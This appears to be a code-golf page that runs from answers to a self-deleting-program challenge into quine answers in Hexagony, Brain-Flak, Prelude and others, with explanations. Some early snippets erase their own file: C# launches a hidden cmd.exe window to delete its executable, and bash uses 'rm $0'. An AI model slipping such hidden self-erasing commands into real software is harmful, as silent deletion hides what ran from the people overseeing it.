Y /T 3 & Del \\\"\" + Assembly.GetExecutingAssembly().Location + \"\\\"\"));\n```\nCode for making it unnoticeable in the UI\n```\nProcess.Start( new ProcessStartInfo()\n{\n Arguments = \"/C choice /C Y /N /D Y /T 3 & Del \\\"\" + Assembly.GetExecutingAssembly().Location+\"\\\"\",\n WindowStyle = ProcessWindowStyle.Hidden, CreateNoWindow = true, FileName = \"cmd.exe\"\n});\n```\n[Answer]\n## My Name's Shell...PowerShell\nClassic self destructing message:\n```\n@'\n##################################\nProject X is a go\nMeet Eagle 1 at WP Alpha\nFurther comms is hereby prohibited\n##################################\nThis message will self destruct in \n5 seconds\n'@\n5..1| %{$_;Sleep 1;}\n\"Goodbye\"\nrm $(.{$MyInvocation.ScriptName})\n```\n[Answer]\n## Bash (5)\n```\nrm $0\n```\nAssuming you don't have spaces in the filename.\n[Answer]\n## C++ 71\nThe executable file \"golf\" is denied permission to run next time.\n```\n#include \nint main()\n{\nsystem(\"chmod a-x golf\");\nreturn 0;\n}\n```\n## JavaScript/HTML 137, 145 with console test\n```\n

Winners by Language

LanguageUserScore

Leaderboard

AuthorLanguageSize
{{PLACE}}{{NAME}}{{LANGUAGE}}{{SIZE}}
{{LANGUAGE}}{{NAME}}{{SIZE}}
\n```\n \n[Answer]\n## [Hexagony](https://github.com/mbuettner/hexagony), side-length ~~17~~ 16, ~~816~~ 705 bytes\n```\n180963109168843880558244491673953327577233938129339173058720504081484022549811402058271303887670710274969455065557883702369807148960608553223879503892017157337685576056512546932243594316638247597075423507937943819812664454190530214807032600083287129465751195839469777849740055584043374711363571711078781297231590606019313065042667406784753422844\".\".>.@.#.#.#.#.#.#.#.>.(...........................<.\".......\".\".>./.4.Q.;.+.<.#.>...........................<.\".....\".\".>.#.#.>.N.2.'.\\.>.............=.=......._.<.\".....\".\".>.>.;.'.=.:.\\.>.......................<.\"...\".\".>.\\.'.%.'.<.#.>..............._.....<.\"...\".\".>.#.#.>.<.#.>...............=.=.<.\".\".\".>.#.\\.'.R./.>.................<.\".!.........../.>.\n```\n[Try it online!](http://hexagony.tryitonline.net/#code=MTgwOTYzMTA5MTY4ODQzODgwNTU4MjQ0NDkxNjczOTUzMzI3NTc3MjMzOTM4MTI5MzM5MTczMDU4NzIwNTA0MDgxNDg0MDIyNTQ5ODExNDAyMDU4MjcxMzAzODg3NjcwNzEwMjc0OTY5NDU1MDY1NTU3ODgzNzAyMzY5ODA3MTQ4OTYwNjA4NTUzMjIzODc5NTAzODkyMDE3MTU3MzM3Njg1NTc2MDU2NTEyNTQ2OTMyMjQzNTk0MzE2NjM4MjQ3NTk3MDc1NDIzNTA3OTM3OTQzODE5ODEyNjY0NDU0MTkwNTMwMjE0ODA3MDMyNjAwMDgzMjg3MTI5NDY1NzUxMTk1ODM5NDY5Nzc3ODQ5NzQwMDU1NTg0MDQzMzc0NzExMzYzNTcxNzExMDc4NzgxMjk3MjMxNTkwNjA2MDE5MzEzMDY1MDQyNjY3NDA2Nzg0NzUzNDIyODQ0Ii4iLj4uQC4jLiMuIy4jLiMuIy4jLj4uKC4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLjwuIi4uLi4uLi4iLiIuPi4vLjQuUS47LisuPC4jLj4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi48LiIuLi4uLiIuIi4-LiMuIy4-Lk4uMi4nLlwuPi4uLi4uLi4uLi4uLi49Lj0uLi4uLi4uXy48LiIuLi4uLiIuIi4-Lj4uOy4nLj0uOi5cLj4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLjwuIi4uLiIuIi4-LlwuJy4lLicuPC4jLj4uLi4uLi4uLi4uLi4uLi5fLi4uLi48LiIuLi4iLiIuPi4jLiMuPi48LiMuPi4uLi4uLi4uLi4uLi4uLj0uPS48LiIuIi4iLj4uIy5cLicuUi4vLj4uLi4uLi4uLi4uLi4uLi4uLjwuIi4hLi4uLi4uLi4uLi4vLj4u&input=)\nThis is what it looks like unfolded:\n```\n 1 8 0 9 6 3 1 0 9 1 6 8 8 4 3 8\n 8 0 5 5 8 2 4 4 4 9 1 6 7 3 9 5 3\n 3 2 7 5 7 7 2 3 3 9 3 8 1 2 9 3 3 9\n 1 7 3 0 5 8 7 2 0 5 0 4 0 8 1 4 8 4 0\n 2 2 5 4 9 8 1 1 4 0 2 0 5 8 2 7 1 3 0 3\n 8 8 7 6 7 0 7 1 0 2 7 4 9 6 9 4 5 5 0 6 5\n 5 5 7 8 8 3 7 0 2 3 6 9 8 0 7 1 4 8 9 6 0 6\n 0 8 5 5 3 2 2 3 8 7 9 5 0 3 8 9 2 0 1 7 1 5 7\n 3 3 7 6 8 5 5 7 6 0 5 6 5 1 2 5 4 6 9 3 2 2 4 3\n 5 9 4 3 1 6 6 3 8 2 4 7 5 9 7 0 7 5 4 2 3 5 0 7 9\n 3 7 9 4 3 8 1 9 8 1 2 6 6 4 4 5 4 1 9 0 5 3 0 2 1 4\n 8 0 7 0 3 2 6 0 0 0 8 3 2 8 7 1 2 9 4 6 5 7 5 1 1 9 5\n 8 3 9 4 6 9 7 7 7 8 4 9 7 4 0 0 5 5 5 8 4 0 4 3 3 7 4 7\n 1 1 3 6 3 5 7 1 7 1 1 0 7 8 7 8 1 2 9 7 2 3 1 5 9 0 6 0 6\n 0 1 9 3 1 3 0 6 5 0 4 2 6 6 7 4 0 6 7 8 4 7 5 3 4 2 2 8 4 4\n \" . \" . > . @ . # . # . # . # . # . # . # . > . ( . . . . . .\n . . . . . . . . . . . . . . . . . . . . . < . \" . . . . . .\n . \" . \" . > . / . 4 . Q . ; . + . < . # . > . . . . . . .\n . . . . . . . . . . . . . . . . . . . . < . \" . . . . .\n \" . \" . > . # . # . > . N . 2 . ' . \\ . > . . . . . .\n . . . . . . . = . = . . . . . . . _ . < . \" . . . .\n . \" . \" . > . > . ; . ' . = . : . \\ . > . . . . .\n . . . . . . . . . . . . . . . . . . < . \" . . .\n \" . \" . > . \\ . ' . % . ' . < . # . > . . . .\n . . . . . . . . . . . _ . . . . . < . \" . .\n . \" . \" . > . # . # . > . < . # . > . . .\n . . . . . . . . . . . . = . = . < . \" .\n \" . \" . > . # . \\ . ' . R . / . > . .\n . . . . . . . . . . . . . . . < . \"\n . ! . . . . . . . . . . . / . > .\n . . . . . . . . . . . . . . . .\n```\nAh well, this was quite the emotional rollercoaster... I stopped counting the number of times I switched between \"haha, this is madness\" and \"wait, if I do *this* it should actually be fairly doable\". The constraints imposed on the code by Hexagony's layout rules were... severe.\nIt might be possible to reduce the side-length by 1 or 2 without changing the general approach, but it's going to be tough (only the cells with `#` are currently unused *and* available for the decoder). At the moment I also have absolutely no ideas left for how a more efficient approach, but I'm sure one exists. I'll give this some thought over the next few days and maybe try to golf off one side-length, before I add an explanation and everything.\nWell at least, I've proven it's possible...\nSome CJam scripts for my own future reference:\n* [Encoder](http://cjam.aditsu.net/#code=qS-N-Y%2514f-W%2582b)\n* [Literal-shortcut finder](http://cjam.aditsu.net/#code='%5B%2C_el%5EA%2Cm*%7B_N%2B%5CAb256%2546%3D*%7D%2F)\n[Answer]\n# [Hexagony](https://github.com/m-ender/hexagony), side length 11, 314 bytes\n```\n164248894991581511673077637999211259627125600306858995725520485910920851569759793601722945695269172442124287874075294735023125483.....!/:;.........)%'=a':\\....................\\...................\\..................\\.................\\................\\...............\\..............\\..$@.........\\$><>'?2='%.<\\:;_;4Q\n```\n[Try it online!](https://tio.run/##jYy7CsJQEAW/RUgINnF37z7z0l@wvyApRCtt9evjtRAbUadZZg7s@XibT9fLfVlQmdg9OALFURDVEphpsoggRJJQsnIUIIG6eIQYiRCwSyAEgQuKhklYJAU0ouAShDSKMBMSk5sbg0nZLAlQKj/ZU/tkten69sW6bsa56XL7gfxfy79L/u5Fq93bqmmYmi2NTd0OuesPPe@X5QE \"Hexagony – Try It Online\")\n---\nNote: Currently [the shortest program](https://codegolf.stackexchange.com/questions/69/golf-you-a-quine-for-great-good/193220#193220) is only **261** bytes long, using a similar technique. \nOlder version:\n# [Hexagony](https://github.com/m-ender/hexagony), side length 11, 330 bytes\n```\n362003511553420961423766261426252539048636523959468260999944549820033581478284471415809677091006384959302453627348235790194699306179..../:{;+'=1P'%'a{:..\\.....................\\...................\\..................\\.................\\................\\...............\\..............\\.............\\!$><........\\..@>{?2'%<......:;;4Q/\n```\n[Try it online!](https://tio.run/##jY29CsJAEISfRVBSCHH/bzfR6CNof00K0UpbJQ8fL2ChIOpUO98yM@fjrT9dL/dxZCMAVkRVFoIwFOJkRtNhpKQcIG5sShwaYk4GUSSiEj6lWR0lOblIQkH1UpMSBAIYu5QUA4mWqcTixJoCsDRF4YYp6qJVM7TLaoP7alH1Q1PXuf6k/B/Lv0n@7t9tns279ctr1w1bqhZP1LStHFbj@AA \"Hexagony – Try It Online\")\nEncoder: [Try it online!](https://tio.run/##jZHNTsMwEITvfoohApoQ6v4hIdKmIMGFG6hHysEkTmyRJpVj0Up9@LJxCuKEnMiyvfPtatarRPspq@p41JttYyyehBX8UQnDmKyzJpdIEqys0XWJ4RLPtZWlND9aa5GiwDkKXVlpENaN5bpdbUUmI1IZdkoayYgJAvRfinF3Dwd8kHTLRq6GxdUU8cRJmQJcnAG6wHiR5rrUFpeXcIfFh2ipKKySNUKXiy6EuNcjuk9JlxXFpDENOQu6pkTWuQwQx3jL1Hu3B9AtyDa@RKXzIKI057mvRNZsc2oaYWNyZCrCEE1RtNIythG6JkYT0RWnl2hVs@Phej9chvtrVLIurTqFsY8i3r8cY85virtb1tei82x2PHLOyQHHCAkOmFNHA1ImeKH9gpagaEI6xxpEcs9/7Yr6kv6gN@eLeVJ@kBeDMxrPEov/EHd/IOqAe0zdKBz/h/hNS2hqc9zgFaNv \"Haskell – Try It Online\")\nThe program is roughly equivalent to this Python code: [Try it online!](https://tio.run/##ZZDbbsMgDIbv8xSWpimJJrWAzWnS9i5JR9RITakCVZW@fGbSXuzABdgf/u0fLks@xjOu6zDHCdKSYJwucc6Q8le85qqawgQfgEYJgVpKrZGU8EaSQmuMKoFRWmn0gpxBoxV67ck4ZYTnRaTJu6JG7SRZpxyRlSS14zbWCi@FMOiIVSgUaR5lkZxCbb2Q3MkzN9L6qnp42t3mMYcm5blhc21b3Y7jKUAx@gnivQLo2LHis@ez4FfoOBsHBs8KgF@96t2ubjf8eG7Z9/tNBXCI5zyer4GTcErhIe//VvVdCszi/NXUXd3CC3i7XSxMe7ZQCjYQhyGFXD4Vt/zO4QJvT/7f3OE4N/f2p72@jC391vUb \"Python 3 – Try It Online\")\nUnfolded code:\n```\n 3 6 2 0 0 3 5 1 1 5 5\n 3 4 2 0 9 6 1 4 2 3 7 6\n 6 2 6 1 4 2 6 2 5 2 5 3 9\n 0 4 8 6 3 6 5 2 3 9 5 9 4 6\n 8 2 6 0 9 9 9 9 4 4 5 4 9 8 2\n 0 0 3 3 5 8 1 4 7 8 2 8 4 4 7 1\n 4 1 5 8 0 9 6 7 7 0 9 1 0 0 6 3 8\n 4 9 5 9 3 0 2 4 5 3 6 2 7 3 4 8 2 3\n 5 7 9 0 1 9 4 6 9 9 3 0 6 1 7 9 . . .\n . / : { ; + ' = 1 P ' % ' a { : . . \\ .\n . . . . . . . . . . . . . . . . . . . . \\\n . . . . . . . . . . . . . . . . . . . \\ \n . . . . . . . . . . . . . . . . . . \\ \n . . . . . . . . . . . . . . . . . \\ \n . . . . . . . . . . . . . . . . \\ \n . . . . . . . . . . . . . . . \\ \n . . . . . . . . . . . . . . \\ \n . . . . . . . . . . . . . \\ \n ! $ > < . . . . . . . . \\ \n . . @ > { ? 2 ' % < . . \n . . . . : ; ; 4 Q / . \n```\nTwo `.`s takes 1 bit. Any other characters take 1 bit and a base-97 digit.\n# Explanation\nClick at the images for larger size. Each explanation part has corresponding Python code to help understanding.\n### Data part\nInstead of the complex structure used in some other answers (with `<`, `\"` and some other things), I just let the IP pass through the lower half.\n[![Data](https://i.stack.imgur.com/qNCdCm.png)](https://i.stack.imgur.com/qNCdC.png)\nFirst, the IP runs through a lot of numbers and no-op's (`.`) and mirrors (`\\`). Each digit appends to the number in the memory, so in the end the memory value is equal to the number at the start of the program.\n```\nmem = 362003511...99306179\n```\n`!` prints it,\n```\nstdout.write(str(mem))\n```\nand `$` jumps through the next `>`.\nStarting from the `<`. If the memory value `mem` is falsy (`<= 0`, i.e., the condition `mem > 0` is not satisfied), we have done printing the program, and should exit. The IP would follow the upper path.\n[![Exit](https://i.stack.imgur.com/JbSX5m.png)](https://i.stack.imgur.com/JbSX5.png)\n(let the IP runs ~~around the world~~ for about 33 commands before hitting the `@` (which terminates the program) because putting it anywhere else incurs some additional bytes)\nIf it's true, we follow the lower path, get redirected a few times and execute some more commands before hitting another conditional.\n[![](https://i.stack.imgur.com/cDsecm.png)](https://i.stack.imgur.com/cDsec.png)\n```\n# Python # Hexagony\n# go to memory cell (a) # {\na = 2 # ?2\n# go to memory cell (b) # '\nb = mem % a # %\n```\nNow the memory looks like this:\n[![Mem1](https://i.stack.imgur.com/LXFfU.png)](https://i.stack.imgur.com/LXFfU.png)\nIf the value is truthy:\n```\nif b > 0:\n```\nthe following code is executed:\n[![](https://i.stack.imgur.com/ykMH1m.png)](https://i.stack.imgur.com/ykMH1.png)\n```\n# Python # Hexagony\nb = ord('Q') # Q\nb = b*10+4 # 4\n# Note: now b == ord('.')+256*3\nstdout.write(chr(b%256)) # ;\nstdout.write(chr(b%256)) # ;\n```\nSee detailed explanation of the `Q4` at [MartinEnder's HelloWorld Hexagony answer](https://codegolf.stackexchange.com/a/57600/69850). In short, this code prints `.` twice.\nOriginally I planned for this to print `.` once. When I came up with this (print `.` twice) and implement it, about 10 digits were saved.\nThen,\n```\nb = mem // a # :\n```\nHere is a important fact I realized that saved me about 14 digits: You don't need to be at where you started.\n---\nTo understand what I'm saying, let's have a BF analogy. (skip this if you already understood)\nGiven the code\n```\nwhile a != 0:\n b, a = a * 2, 0\n a, b = b, 0\n print(a)\n```\nAssuming we let `a` be the value of the current cell and `b` be the value of the right cell, a straightforward translation of this to BF is:\n```\n[ # while a != 0:\n [->++<] # b, a = a * 2, 0\n >[-<+>] # a, b = b, 0\n <. # print(a)\n]\n```\nHowever, note that we don't need to be at the same position all the time during the program. We can let the value of `a` be whatever we are at the start of each iteration, then we have this code:\n```\n[ # while a != 0:\n [->++<] # b, a = a * 2, 0\n # implicitly let (a) be at the position of (b) now\n . # print(a)\n]\n```\nwhich is several bytes shorter.\n---\nAlso, the corner wrapping behavior also saves me from having a `\\` mirror there - without it I would not be able to fit the digits (+2 digits for the `\\` itself and +2 digits for an unpaired `.` to the right of it, not to mention the flags)\n(details:\n* The IP enters the lower-left corner, heading left\n* It get warped to the right corner, still heads left\n* It encounters a `\\` which reflects it, now it heads right-up\n* It goes into the corner and get warped again to the lower-left corner\n)\n---\nIf the value (of the mod 2 operation above) is falsy (zero), then we follow this path:\n[![](https://i.stack.imgur.com/NCG9km.png)](https://i.stack.imgur.com/NCG9k.png)\n```\n# Python # Hexagony # Memory visualization after execution\nb = mem // a # : # [click here](https://i.stack.imgur.com/s53S3.png)\nbase = ord('a') # 97 # a\ny = b % base # '%\noffset = 33 # P1\nz = y + offset # ='+\nstdout.write(chr(z)) # ; # [click here](https://i.stack.imgur.com/Dfalo.png)\nmem = b // base # {: # [click here](https://i.stack.imgur.com/bdRHf.png)\n```\nI won't explain too detailed here, but the offset is actually not exactly `33`, but is congruent to `33` mod `256`. And `chr` has an implicit `% 256`.\n[Answer]\n# MySQL, 167 characters\n```\nSELECT REPLACE(@v:='SELECT REPLACE(@v:=\\'2\\',1+1,REPLACE(REPLACE(@v,\\'\\\\\\\\\\',\\'\\\\\\\\\\\\\\\\\\'),\\'\\\\\\'\\',\\'\\\\\\\\\\\\\\'\\'));',1+1,REPLACE(REPLACE(@v,'\\\\','\\\\\\\\'),'\\'','\\\\\\''));\n```\nThat's right. :-)\nI really did write this one myself. It was originally [posted at my site](https://joshduff.com/2008-11-29-my-accomplishment-for-the-day-a-mysql-quine.html).\n[Answer]\n# [Brain-Flak](https://github.com/DJMcMayhem/Brain-Flak), ~~9.8e580~~ ~~1.3e562~~ ~~9.3e516~~ ~~12818~~ ~~11024~~ ~~4452~~ ~~4332~~ ~~4240~~ ~~4200~~ ~~4180~~ ~~3852~~ ~~3656~~ ~~3616~~ ~~3540~~ 2485 + 3 = 2488 bytes\n*Now fits in the observable universe!*\n```\n(())(()()())(())(())(()()())(())(())(()()())(())(()()()()())(()())(()()()()())(())(()()())(())(()()()()())(())(())(())(())(()()()()())(())(())(()()())(())(())(()()())(())(()()()()())(()())(()()()()())(())(()()())(())(()()()()())(())(())(())(())(())(())(()())(())(())(())(()())(()()()())(())(()()()()())(()())(()())(()())(()()())(())(()())(())(()()()()())(()())(()()()()())(())(())(())(())(())(()())(())(())(())(()()()()())(())(())(()()()()())(())(())(()()()()())(())(())(()())(())(()())(())(()())(())(()())(())(()())(()())(()())(()())(()())(()())(()())(()())(())(()()()()())(())(())(()()())(())(())(()()())(())(()()()()())(()())(()()()()())(())(()()())(())(())(()()())(()())(())(()()()()())(())(())(()()())(())(())(()()())(())(()()()()())(()())(()()()()())(())(())(())(()()())(())(())(()()())(())(())(()()())(())(()()()()())(()())(()()()()())(()()())(())(()()())(())(())(())(()())(()()())(()())(())(()()()()())(()())(())(()()())(())(()()()()())(())(())(())(()()())(())(())(())(()())(())(()())(()()()())(())(())(()()()()())(()())(()())(())(()()())(())(())(())(())(()()())(()())(())(())(()()()()())(())(())(()()()()())(())(())(()()()()())(())(())(()())(())(()())(())(()())(())(()())(()())(()())(()())(())(()()()()())(()())(())(()()())(())(()()()()())(()()()()())(())(()()())(())(())(()())(())(()()()()())(())(()()()()())(())(())(())(()()()()())(())(())(()())(())(()())(())(()())(())(()())(())(()())(()())(()())(()())(())(()()()()())(()())(())(()()())(())(())(()())(())(()()()()())(()())(()()()()())(())(()()())(())(())(()()()()())(())(()()()()())(())(())(())(()())(())(()()()()())(())(())(()())(())(()())(())(()())(()())(()())(()())(())(()()()()())(()())(())(()()()()())(())(()()())(())(())(()())(())(()()()()())(()())(()()()()())(())(()()())(())(())(())(()())(()()()())(())(())(()())(())(()()()()())(())(())(()()()()())(())(())(()()()()())(())(())(()())(())(()())(())(()())(())(()())(())(()())(()())(()())(()())(()())(()())(())(()()())(())(())(()())(())(()()()()())(()())(()()()()())(()()())(())(())(()())(())(())(()()()()())(()()()())(()())(()())(()()())(())(()())(())(()()()()())(()())(()()()()())(())(())(())(()()()())(()()()())(()())([[]]){({}()<(([{}]())<{({}())<>(((((()()()()()){}){}){}())[()])<>{({}())<>{}({}(((()()()){}())){}{})<>{({}())<>({}(((()()()()()){})){}{}())<>{{}<>({}(((()()()()){}){}){})(<>)}}<>(({})[()()])<>}}{}<>({}(<()>)<><{({}<>)<>}<>>){({}<>)<>}{}(<>)<>{({}<>)<>}{}(((((((()()()()()){}){}){}))()))>){({}()<((({}[()])()))>)}{}<>{({}<>)<>}{}>)}{}<>{({}<>)<>}<>\n```\n[Try it online!](https://tio.run/nexus/brain-flak#zVVBEoMgDLz3JcmhP2CY6TsYXsLwdhpIEaoE0KrTKgjrmmRhtQEAkVo8EErrzfPB4zXSY69b6949mQunjYzzfnO38ca1ztTSXo85bM9ovr9@3@r5lTnxdO/3FG390os662U5i@Tlnp@liO2q73Do2H8z@zTymlRlb9XPft/mdO39xoz2QVZ4TOteXVfp7Lv/376vv6iXn2u/B2f/e0nxjbEWHTgPqACM85ZQxQAqDelXojrPJw0NoCXGQqULnZnNHOqJXpFqSg6YSBzC@TVlyYigNPp4nwgxOaf3Pj@jADUBqXYVR9RrLLNI0Z9aFgQkgRgnqMvS0DUpZjhlrSNtIKUfIYTn6w0 \"Brain-Flak – TIO Nexus\")\n---\n## Explanation\nThis Quine works like most Quines in esoteric languages; it has two parts an encoder and a decoder. The encoder is all of the parentheses at the beginning and the decoder is the more complex part at the very end.\nA naive way of encoding the program would be to put the ASCII value of every character in the decoder to the stack. This is not a very good idea because Brain-Flak only uses 8 characters (`()<>[]{}`) so you end up paying quite a few bytes to encode very little information. A smarter idea, and the one used up until now is to assign each of the 8 braces to an much smaller number (1-8) and convert these to the ASCII values with our decoder. This is nice because it costs no more than 18 bytes to encode a character as opposed to the prior 252.\nHowever this program does neither. It relies on the fact that Brain-Flak programs are all balanced to encode the 8 braces with the numbers up to 5. It encodes them as follows.\n```\n( -> 2\n< -> 3\n[ -> 4\n{ -> 5\n),>,],} -> 1\n```\nAll the close braces are assigned 1 because we can use context to determine which of them we need to use in a particular scenario. This may sound like a daunting task for a Brain-Flak program, but it really is not. Take for example the following encodings with the open braces decoded and the close braces replaced with a `.`:\n```\n(.\n((..\n<([.{...\n```\nHopefully you can see that the algorithm is pretty simple, we read left to right, each time we encounter a open brace we push its close brace to an imaginary stack and when we encounter a `.` we pop the top value and put it in place of the `.`. This new encoding saves us an enormous number of bytes in the encoder while only losing us a handful of bytes on the decoder.\n### Low level explanation\n*Work in progress*\n[Answer]\n## GolfScript, 2 bytes\n```\n1\n```\n(note trailing newline) This pushes the number 1 onto the stack. At the end of the program, GolfScript prints out all items in the stack (with no spaces in between), then prints a newline.\nThis is a true quine (as listed in the question), because it actually executes the code; it doesn't just \"read the source file and print it\" (unlike the PHP submission).\n---\nFor another example, here's a GolfScript program to print `12345678`:\n```\n9,(;\n```\n1. `9`: push 9 to the stack\n2. [`,`](http://www.golfscript.com/golfscript/builtin.html#%2C): consume the 9 as an argument, push the array `[0 1 2 3 4 5 6 7 8]` to the stack\n3. [`(`](http://www.golfscript.com/golfscript/builtin.html#%28): consume the array as an argument, push the array `[1 2 3 4 5 6 7 8]` and the item `0` to the stack\n4. [`;`](http://www.golfscript.com/golfscript/builtin.html#%3B): discard the top item of the stack\nThe stack now contains the array `[1 2 3 4 5 6 7 8]`. This gets written to standard output with no spaces between the elements, followed by a newline.\n[Answer]\n# [Prelude](http://esolangs.org/wiki/Prelude), ~~5157~~ ~~4514~~ ~~2348~~ ~~1761~~ ~~1537~~ ~~664~~ ~~569~~ ~~535~~ ~~423~~ ~~241~~ ~~214~~ ~~184~~ ~~178~~ ~~175~~ ~~169~~ ~~148~~ ~~142~~ ~~136~~ 133 bytes\n*Thanks to Sp3000 for saving 3 bytes.*\n~~This is rather long...~~ (okay, it's still long ... at least it's beating the shortest ~~known Brainfuck~~ C# quine on this challenge now) *but* it's the first quine I discovered myself (my Lua and Julia submissions are really just translations of standard quine techniques into other languages) *and* as far as I'm aware no one has written a quine in Prelude so far, so I'm actually quite proud of this. :)\n```\n7( -^^^2+8+2-!( 6+ !\n ((#^#(1- )#)8(1-)8)#)4337435843475142584337433447514237963742423434123534455634423547524558455296969647344257)\n```\nThat large number of digits is just an encoding of the core code, which is why the quine is so long.\nThe digits encoding the quine have been generated with [this CJam script](http://cjam.aditsu.net/#code=qW%25%7Bi2%2BAb%7D%2F&input=7(%20-%5E%5E%5E2%2B8%2B2-!(%206%2B%20!%0A%20%20((%23%5E%23(1-%20)%23)8(1-)8)%23)).\nThis requires a standard-compliant interpreter, which prints characters (using the values as character codes). So if you're using [the Python interpreter](http://web.archive.org/web/20060504072747/http://z3.ca/~lament/prelude.py) you'll need to set `NUMERIC_OUTPUT = False`.\n## Explanation\nFirst, a few words about Prelude: each line in Prelude is a separate \"voice\" which manipulates its own stack. These stacks are initialised to an infinite number of 0s. The program is executed column by column, where all commands in the column are executed \"simultaneously\" based on the previous stack states. Digits are pushed onto the stack individually, so `42` will push a `4`, then a `2`. There's no way to push larger numbers directly, you'll have to add them up. Values can be copied from adjacent stacks with `v` and `^`. Brainfuck-style loops can be introduced with parentheses. See the link in the headline for more information.\nHere is the basic idea of the quine: first we push loads of digits onto the stack which encode the core of the quine. Said core then takes those digits,decodes them to print itself and then prints the digits as they appear in the code (and the trailing `)`).\nThis is slightly complicated by the fact that I had to split the core over multiple lines. Originally I had the encoding at the start, but then needed to pad the other lines with the same number of spaces. This is why the initial scores were all so large. Now I've put the encoding at the end, but this means that I first need to skip the core, then push the digits, and jump back to the start and do the printing.\n### The Encoding\nSince the code only has two voices, and and adjacency is cyclic, `^` and `v` are synonymous. That's good because `v` has by far the largest character code, so avoiding it by always using `^` makes encoding simpler. Now all character codes are in the range 10 to 94, inclusive. This means I can encode each character with exactly two decimal digits. There is one problem though: some characters, notably the linefeed, have a zero in their decimal representation. That's a problem because zeroes aren't easily distinguishable from the bottom of the stack. Luckily there's a simple fix to that: we offset the character codes by `2`, so we have a range from 12 to 96, inclusive, that still comfortably fits in two decimal digits. Now of all the characters that can appear in the Prelude program, only `0` has a 0 in its representation (50), but we really don't need `0` at all. So that's the encoding I'm using, pushing each digit individually.\nHowever, since we're working with a stack, the representations are pushed in reverse. So if you look at the end of the encoding:\n```\n...9647344257\n```\nSplit into pairs and reverse, then subtract two, and then look up the character codes:\n```\n57 42 34 47 96\n55 40 32 45 94\n 7 ( - ^\n```\nwhere `32` is corresponds to spaces. The core does exactly this transformation, and then prints the characters.\n### The Core\nSo let's look at how these numbers are actually processed. First, it's important to note that matching parentheses don't have to be on the same line in Prelude. There can only be one parenthesis per column, so there is no ambiguity in which parentheses belong together. In particular, the vertical position of the closing parenthesis is always irrelevant - the stack which is checked to determine whether the loop terminates (or is skipped entirely) will always be the one which has the `(`.\nWe want to run the code exactly twice - the first time, we skip the core and push all the numbers at the end, the second time we run the core. In fact, after we've run the core, we'll push all those numbers again, but since the loop terminates afterwards, this is irrelevant. This gives the following skeleton:\n```\n7(\n ( )43... encoding ...57)\n```\nFirst, we push a `7` onto the first voice - if we don't do this, we'd never enter the loop (for the skeleton it's only important that this is non-zero... why it's specifically `7` we'll see later). Then we enter the main loop. Now, the second voice contains another loop. On the first pass, this loop will be skipped because the second stack is empty/contains only 0s. So we jump straight to the encoding and push all those digits onto the stack. The `7` we pushed onto the first stack is still there, so the loop repeats.\nThis time, there is also a `7` on the second stack, so we do enter loop on the second voice. The loop on the second voice is designed such that the stack is empty again at the end, so it only runs once. It will *also* deplete the first stack... So when we leave the loop on the second voice, we push all the digits again, but now the `7` on the first stack has been discarded, so the main loop ends and the program terminates.\nNext, let's look at the first loop in the actual core. Doing things simultaneously with a `(` or `)` is quite interesting. I've marked the loop body here with `=`:\n```\n-^^^2+8+2-!\n(#^#(1- )#)\n ==========\n```\nThat means the column containing `(` is not considered part of the loop (the characters there are only executed once, and even if the loop is skipped). But the column containing the `)` *is* part of the loop and is ran once on each iteration.\nSo we start with a single `-`, which turns the `7` on the first stack into a `-7`... again, more on that later. As for the actual loop...\nThe loop continues while the stack of digits hasn't been emptied. It processes two digits at a time,. The purpose of this loop is to decode the encoding, print the character, and at the same time shift the stack of digits to the first voice. So this part first:\n```\n^^^\n#^#\n```\nThe first column moves the 1-digit over to the first voice. The second column copies the 10-digit to the first voice while also copying the 1-digit back to the second voice. The third column moves that copy back to the first voice. That means the first voice now has the 1-digit twice and the 10-digit in between. The second voice has only another copy of the 10-digit. That means we can work with the values on the tops of the stacks and be sure there's two copies left on the first stack for later.\nNow we recover the character code from the two digits:\n```\n2+8+2-!\n(1- )#\n```\nThe bottom is a small loop that just decrements the 10-digit to zero. For each iteration we want to add 10 to the top. Remember that the first `2` is not part of the loop, so the loop body is actually `+8+2` which adds 10 (using the `2` pushed previously) and the pushes another 2. So when we're done with the loop, the first stack actually has the base-10 value and another 2. We subtract that 2 with `-` to account for the offset in the encoding and print the character with `!`. The `#` just discards the zero at the end of the bottom loop.\nOnce this loop completes, the second stack is empty and the first stack holds all the digits in reverse order (and a `-7` at the bottom). The rest is fairly simple:\n```\n( 6+ !\n8(1-)8)#\n```\nThis is the second loop of the core, which now prints back all the digits. To do so we need to 48 to each digit to get its correct character code. We do this with a simple loop that runs `8` times and adds `6` each time. The result is printed with `!` and the `8` at the end is for the next iteration.\nSo what about the `-7`? Yeah, `48 - 7 = 41` which is the character code of `)`. Magic!\nFinally, when we're done with that loop we discard the `8` we just pushed with `#` in order to ensure that we leave the outer loop on the second voice. We push all the digits again and the program terminates.\n[Answer]\n# Javascript ES6 - 21 bytes\n```\n$=_=>`$=${$};$()`;$()\n```\nI call this quine \"The Bling Quine.\"\nSometimes, you gotta golf in style.\n[Answer]\n# Vim, 11 bytes\n```\nq\"iq\"qPhqP\n```\n* `iq\"qP`: Manually insert a duplicate of the text that *has to be* outside the recording.\n* `q\"` and `hqP`: Record the inside directly into the unnamed `\"\"` register, so it can be pasted in the middle. The `h` is the only repositioning required; if you put it inside the macro, it will be pasted into the result.\n**Edit**\nA note about recording with `q\"`: The unnamed register `\"\"` is a funny thing. It's not really a true register like the others, since text isn't stored there. It's actually a pointer to some other register (usually `\"-` for deletes with no newline, `\"0` for yanks, or `\"1` for deletes with a newline). `q\"` breaks the rules; it actually writes to `\"0`. If your `\"\"` was already pointing to some register other than `\"0`, `q\"` will overwrite `\"0` but leave `\"\"` unchanged. When you start a fresh Vim, `\"\"` automatically points to `\"0`, so you're fine in that case.\nBasically, Vim is weird and buggy.\n[Answer]\n# [Hexagony](https://github.com/m-ender/hexagony), side length ~~15 14 13~~ 12, ~~616 533 456~~ 383 bytes\nAfter several days of careful golfing, rearranging loops and starting over, I've *finally* managed to get it down to a side 12 hexagon.\n```\n1845711724004994017660745324800783542810548755533855003470320302321248615173041097895645488030498537186418612923408209003405383437728326777573965676397524751468186829816614632962096935858\"\">./<$;-<.....>,.........==.........<\".......\"\">'....>+'\\.>.........==........<\"......\"\">:>)<$=<..>..............$..<\"....\"\">\\'Q4;=\"/@>...............<\".....\"\">P='%<.>.............<\"..!'<.\\=6,'/>\n```\n[Try it 